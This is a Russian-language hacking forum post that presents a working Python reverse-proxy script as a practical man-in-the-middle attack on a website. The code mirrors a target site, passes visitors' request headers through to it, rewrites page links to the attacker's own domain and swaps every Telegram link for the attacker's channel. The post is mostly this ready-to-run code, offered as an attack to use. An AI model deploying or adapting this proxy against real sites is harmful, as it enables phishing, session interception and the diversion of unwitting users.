• XSS.stack #1 – первый литературный журнал от юзеров форума

Взлом сайта. Пример атаки MITM

Santyago08

HDD-drive
Забанен
Регистрация
03.11.2020
Сообщения
44
Реакции
20
Пожалуйста, обратите внимание, что пользователь заблокирован

Атака типа "человек посередине" (man-in-the-middle) являются эффективным способом атак на веб-сайты, с целью несанкционированного получения чувствительной информации и ресурсов. В этом видео показан практический пример атаки MITM. Работающий прокси сервер реализован на Python.

Python:
import re
import treq
from klein import Klein
app = Klein()


DONOR_DOMAIN = 'https://xss.pro'
MY_DOMAIN = 'http://0.0.0.0'


@app.route('/<path:requested_path>')
async def proxy(request, requested_path):

    # делаем запрос на "zismo.biz/<requested_path>"

    # копируем заголовки из пришедшего к нам запроса
    headers = {
        str(key): str(value[0])
        for key, value in request.requestHeaders.getAllRawHeaders()
    }

    # отправляем запрос на атакуемый сайт
    response = await treq.get(
        DONOR_DOMAIN + '/' + requested_path,
        headers=headers)

    # копируем полученные заголовки в наш ответ
    for key, value in response.headers.getAllRawHeaders():
        request.setHeader(key, value[0])

    # преобразуем полученные байты в стоку
    content = (await treq.content(response)).decode('utf-8')

    ### Во всех ссылках меняем домен на фальшивый
    content = re.sub(
       fr'<a (.*)href=(["\']){DONOR_DOMAIN}',
       fr'<a \1href=\2{MY_DOMAIN}',
       content
    )

    ### Меняем все телеграм ссылки на странице на собственную
    content = re.sub(
       r"https://t.me/\w+",
       r"https://t.me/rucyberpunks",
       content
    )

    # передаем пользователю
    return content


@app.route('/')
async def proxy_main_page(request):
    return await proxy(request, '')



app.run("0.0.0.0", 80)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх